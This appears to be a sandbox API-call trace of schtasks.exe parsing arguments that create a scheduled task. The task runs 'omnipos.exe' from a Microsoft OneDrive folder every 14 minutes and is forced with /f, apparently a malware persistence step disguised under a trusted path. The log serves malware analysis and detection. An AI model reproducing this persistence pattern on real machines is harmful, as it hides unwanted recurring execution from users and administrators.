GetProcessHeap () returned 0x130000 [0140.448] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14d5a0 [0140.448] lstrlenW (lpString="MINUTE") returned 6 [0140.448] lstrlenW (lpString=" \x09") returned 2 [0140.448] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0140.448] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0140.449] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0140.449] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0140.449] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0140.449] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0140.449] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0140.449] GetLastError () returned 0x0 [0140.449] lstrlenW (lpString="MINUTE") returned 6 [0140.449] lstrlenW (lpString="MINUTE") returned 6 [0140.449] SetLastError (dwErrCode=0x0) [0140.449] SetLastError (dwErrCode=0x0) [0140.449] lstrlenW (lpString="/mo") returned 3 [0140.449] lstrlenW (lpString="-/") returned 2 [0140.449] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.449] lstrlenW (lpString="create") returned 6 [0140.449] lstrlenW (lpString="create") returned 6 [0140.449] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.449] lstrlenW (lpString="mo") returned 2 [0140.449] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.449] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|create|") returned 8 [0140.449] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.449] lstrlenW (lpString="|create|") returned 8 [0140.449] lstrlenW (lpString="|mo|") returned 4 [0140.449] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0140.449] SetLastError (dwErrCode=0x490) [0140.449] lstrlenW (lpString="?") returned 1 [0140.449] lstrlenW (lpString="?") returned 1 [0140.449] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.449] lstrlenW (lpString="mo") returned 2 [0140.450] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.450] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|?|") returned 3 [0140.450] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.450] lstrlenW (lpString="|?|") returned 3 [0140.450] lstrlenW (lpString="|mo|") returned 4 [0140.450] SetLastError (dwErrCode=0x490) [0140.450] lstrlenW (lpString="s") returned 1 [0140.450] lstrlenW (lpString="s") returned 1 [0140.450] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.450] lstrlenW (lpString="mo") returned 2 [0140.450] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.450] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|s|") returned 3 [0140.450] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.450] lstrlenW (lpString="|s|") returned 3 [0140.450] lstrlenW (lpString="|mo|") returned 4 [0140.450] SetLastError (dwErrCode=0x490) [0140.450] lstrlenW (lpString="u") returned 1 [0140.450] lstrlenW (lpString="u") returned 1 [0140.450] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.450] lstrlenW (lpString="mo") returned 2 [0140.450] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.450] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|u|") returned 3 [0140.450] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.450] lstrlenW (lpString="|u|") returned 3 [0140.450] lstrlenW (lpString="|mo|") returned 4 [0140.450] SetLastError (dwErrCode=0x490) [0140.450] lstrlenW (lpString="p") returned 1 [0140.451] lstrlenW (lpString="p") returned 1 [0140.451] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.451] lstrlenW (lpString="mo") returned 2 [0140.451] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.451] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|p|") returned 3 [0140.451] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.451] lstrlenW (lpString="|p|") returned 3 [0140.451] lstrlenW (lpString="|mo|") returned 4 [0140.451] SetLastError (dwErrCode=0x490) [0140.451] lstrlenW (lpString="ru") returned 2 [0140.451] lstrlenW (lpString="ru") returned 2 [0140.451] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.451] lstrlenW (lpString="mo") returned 2 [0140.451] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.451] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|ru|") returned 4 [0140.451] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.451] lstrlenW (lpString="|ru|") returned 4 [0140.451] lstrlenW (lpString="|mo|") returned 4 [0140.451] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0140.451] SetLastError (dwErrCode=0x490) [0140.451] lstrlenW (lpString="rp") returned 2 [0140.451] lstrlenW (lpString="rp") returned 2 [0140.451] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.451] lstrlenW (lpString="mo") returned 2 [0140.451] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.451] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|rp|") returned 4 [0140.451] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.452] lstrlenW (lpString="|rp|") returned 4 [0140.452] lstrlenW (lpString="|mo|") returned 4 [0140.452] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0140.452] SetLastError (dwErrCode=0x490) [0140.452] lstrlenW (lpString="sc") returned 2 [0140.452] lstrlenW (lpString="sc") returned 2 [0140.452] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.452] lstrlenW (lpString="mo") returned 2 [0140.452] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.452] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.452] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.452] lstrlenW (lpString="|sc|") returned 4 [0140.452] lstrlenW (lpString="|mo|") returned 4 [0140.452] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0140.452] SetLastError (dwErrCode=0x490) [0140.452] lstrlenW (lpString="mo") returned 2 [0140.452] lstrlenW (lpString="mo") returned 2 [0140.452] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.452] lstrlenW (lpString="mo") returned 2 [0140.452] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.452] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.452] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.452] lstrlenW (lpString="|mo|") returned 4 [0140.452] lstrlenW (lpString="|mo|") returned 4 [0140.452] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0140.452] SetLastError (dwErrCode=0x0) [0140.452] SetLastError (dwErrCode=0x0) [0140.453] lstrlenW (lpString="14") returned 2 [0140.453] lstrlenW (lpString="-/") returned 2 [0140.453] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0140.453] SetLastError (dwErrCode=0x490) [0140.453] SetLastError (dwErrCode=0x490) [0140.453] SetLastError (dwErrCode=0x0) [0140.453] lstrlenW (lpString="14") returned 2 [0140.453] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0140.453] SetLastError (dwErrCode=0x490) [0140.453] SetLastError (dwErrCode=0x0) [0140.453] _memicmp (_Buf1=0x14d580, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.453] lstrlenW (lpString="14") returned 2 [0140.453] lstrlenW (lpString="14") returned 2 [0140.453] lstrlenW (lpString=" \x09") returned 2 [0140.453] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0140.453] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0140.453] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0140.453] GetLastError () returned 0x0 [0140.453] lstrlenW (lpString="14") returned 2 [0140.453] lstrlenW (lpString="14") returned 2 [0140.453] GetProcessHeap () returned 0x130000 [0140.453] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x6) returned 0x14b9b0 [0140.453] SetLastError (dwErrCode=0x0) [0140.453] SetLastError (dwErrCode=0x0) [0140.453] lstrlenW (lpString="/tr") returned 3 [0140.453] lstrlenW (lpString="-/") returned 2 [0140.453] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.453] lstrlenW (lpString="create") returned 6 [0140.453] lstrlenW (lpString="create") returned 6 [0140.453] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.453] lstrlenW (lpString="tr") returned 2 [0140.454] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.454] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|create|") returned 8 [0140.454] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.454] lstrlenW (lpString="|create|") returned 8 [0140.454] lstrlenW (lpString="|tr|") returned 4 [0140.454] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0140.454] SetLastError (dwErrCode=0x490) [0140.454] lstrlenW (lpString="?") returned 1 [0140.454] lstrlenW (lpString="?") returned 1 [0140.454] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.454] lstrlenW (lpString="tr") returned 2 [0140.454] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.454] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|?|") returned 3 [0140.454] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.454] lstrlenW (lpString="|?|") returned 3 [0140.454] lstrlenW (lpString="|tr|") returned 4 [0140.454] SetLastError (dwErrCode=0x490) [0140.454] lstrlenW (lpString="s") returned 1 [0140.454] lstrlenW (lpString="s") returned 1 [0140.454] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.454] lstrlenW (lpString="tr") returned 2 [0140.454] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.454] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|s|") returned 3 [0140.454] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.454] lstrlenW (lpString="|s|") returned 3 [0140.455] lstrlenW (lpString="|tr|") returned 4 [0140.455] SetLastError (dwErrCode=0x490) [0140.455] lstrlenW (lpString="u") returned 1 [0140.455] lstrlenW (lpString="u") returned 1 [0140.455] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.456] lstrlenW (lpString="tr") returned 2 [0140.456] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.456] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|u|") returned 3 [0140.456] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.456] lstrlenW (lpString="|u|") returned 3 [0140.456] lstrlenW (lpString="|tr|") returned 4 [0140.456] SetLastError (dwErrCode=0x490) [0140.456] lstrlenW (lpString="p") returned 1 [0140.456] lstrlenW (lpString="p") returned 1 [0140.456] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.456] lstrlenW (lpString="tr") returned 2 [0140.456] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.456] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|p|") returned 3 [0140.456] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.456] lstrlenW (lpString="|p|") returned 3 [0140.456] lstrlenW (lpString="|tr|") returned 4 [0140.456] SetLastError (dwErrCode=0x490) [0140.456] lstrlenW (lpString="ru") returned 2 [0140.456] lstrlenW (lpString="ru") returned 2 [0140.456] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.456] lstrlenW (lpString="tr") returned 2 [0140.456] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.456] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|ru|") returned 4 [0140.456] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.456] lstrlenW (lpString="|ru|") returned 4 [0140.456] lstrlenW (lpString="|tr|") returned 4 [0140.457] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0140.457] SetLastError (dwErrCode=0x490) [0140.457] lstrlenW (lpString="rp") returned 2 [0140.457] lstrlenW (lpString="rp") returned 2 [0140.457] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.457] lstrlenW (lpString="tr") returned 2 [0140.457] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.457] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|rp|") returned 4 [0140.457] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.457] lstrlenW (lpString="|rp|") returned 4 [0140.457] lstrlenW (lpString="|tr|") returned 4 [0140.457] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0140.457] SetLastError (dwErrCode=0x490) [0140.457] lstrlenW (lpString="sc") returned 2 [0140.457] lstrlenW (lpString="sc") returned 2 [0140.457] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.457] lstrlenW (lpString="tr") returned 2 [0140.457] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.457] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.457] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.457] lstrlenW (lpString="|sc|") returned 4 [0140.457] lstrlenW (lpString="|tr|") returned 4 [0140.457] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0140.457] SetLastError (dwErrCode=0x490) [0140.457] lstrlenW (lpString="mo") returned 2 [0140.457] lstrlenW (lpString="mo") returned 2 [0140.457] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.458] lstrlenW (lpString="tr") returned 2 [0140.458] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.458] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.458] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.458] lstrlenW (lpString="|mo|") returned 4 [0140.458] lstrlenW (lpString="|tr|") returned 4 [0140.458] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0140.458] SetLastError (dwErrCode=0x490) [0140.458] lstrlenW (lpString="d") returned 1 [0140.458] lstrlenW (lpString="d") returned 1 [0140.458] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.458] lstrlenW (lpString="tr") returned 2 [0140.458] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.458] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|d|") returned 3 [0140.458] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.458] lstrlenW (lpString="|d|") returned 3 [0140.458] lstrlenW (lpString="|tr|") returned 4 [0140.458] SetLastError (dwErrCode=0x490) [0140.458] lstrlenW (lpString="m") returned 1 [0140.458] lstrlenW (lpString="m") returned 1 [0140.458] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.458] lstrlenW (lpString="tr") returned 2 [0140.458] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.458] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|m|") returned 3 [0140.458] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.458] lstrlenW (lpString="|m|") returned 3 [0140.459] lstrlenW (lpString="|tr|") returned 4 [0140.459] SetLastError (dwErrCode=0x490) [0140.459] lstrlenW (lpString="i") returned 1 [0140.459] lstrlenW (lpString="i") returned 1 [0140.459] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.459] lstrlenW (lpString="tr") returned 2 [0140.459] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.459] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|i|") returned 3 [0140.459] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.459] lstrlenW (lpString="|i|") returned 3 [0140.459] lstrlenW (lpString="|tr|") returned 4 [0140.459] SetLastError (dwErrCode=0x490) [0140.459] lstrlenW (lpString="tn") returned 2 [0140.459] lstrlenW (lpString="tn") returned 2 [0140.459] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.459] lstrlenW (lpString="tr") returned 2 [0140.459] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.459] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.459] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.459] lstrlenW (lpString="|tn|") returned 4 [0140.459] lstrlenW (lpString="|tr|") returned 4 [0140.459] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0140.459] SetLastError (dwErrCode=0x490) [0140.459] lstrlenW (lpString="tr") returned 2 [0140.459] lstrlenW (lpString="tr") returned 2 [0140.459] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.459] lstrlenW (lpString="tr") returned 2 [0140.459] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.460] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.460] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tr|") returned 4 [0140.460] lstrlenW (lpString="|tr|") returned 4 [0140.460] lstrlenW (lpString="|tr|") returned 4 [0140.460] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0140.460] SetLastError (dwErrCode=0x0) [0140.460] SetLastError (dwErrCode=0x0) [0140.460] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.460] lstrlenW (lpString="-/") returned 2 [0140.460] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0140.460] SetLastError (dwErrCode=0x490) [0140.460] SetLastError (dwErrCode=0x490) [0140.460] SetLastError (dwErrCode=0x0) [0140.460] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.460] StrChrIW (lpStart="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'" [0140.460] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.460] _memicmp (_Buf1=0x14d520, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.460] _memicmp (_Buf1=0x14d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.460] SetLastError (dwErrCode=0x7a) [0140.460] SetLastError (dwErrCode=0x0) [0140.460] SetLastError (dwErrCode=0x0) [0140.460] lstrlenW (lpString="'C") returned 2 [0140.460] lstrlenW (lpString="-/") returned 2 [0140.460] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0140.460] SetLastError (dwErrCode=0x490) [0140.460] SetLastError (dwErrCode=0x490) [0140.460] SetLastError (dwErrCode=0x0) [0140.460] _memicmp (_Buf1=0x14d580, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.461] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.461] GetProcessHeap () returned 0x130000 [0140.461] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d5a0) returned 1 [0140.461] GetProcessHeap () returned 0x130000 [0140.461] RtlReAllocateHeap (Heap=0x130000, Flags=0xc, Ptr=0x14d5a0, Size=0x70) returned 0x14dcb0 [0140.461] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.461] lstrlenW (lpString=" \x09") returned 2 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0140.461] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0140.462] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0140.462] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0140.462] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0140.462] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0140.463] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0140.463] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0140.463] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0140.463] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0140.463] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0140.463] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0140.463] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0140.464] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0140.464] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0140.464] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0140.464] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0140.464] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0140.464] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0140.464] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0140.464] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0140.464] GetLastError () returned 0x0 [0140.464] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.464] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.464] SetLastError (dwErrCode=0x0) [0140.464] SetLastError (dwErrCode=0x0) [0140.464] lstrlenW (lpString="/f") returned 2 [0140.464] lstrlenW (lpString="-/") returned 2 [0140.464] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.464] lstrlenW (lpString="create") returned 6 [0140.464] lstrlenW (lpString="create") 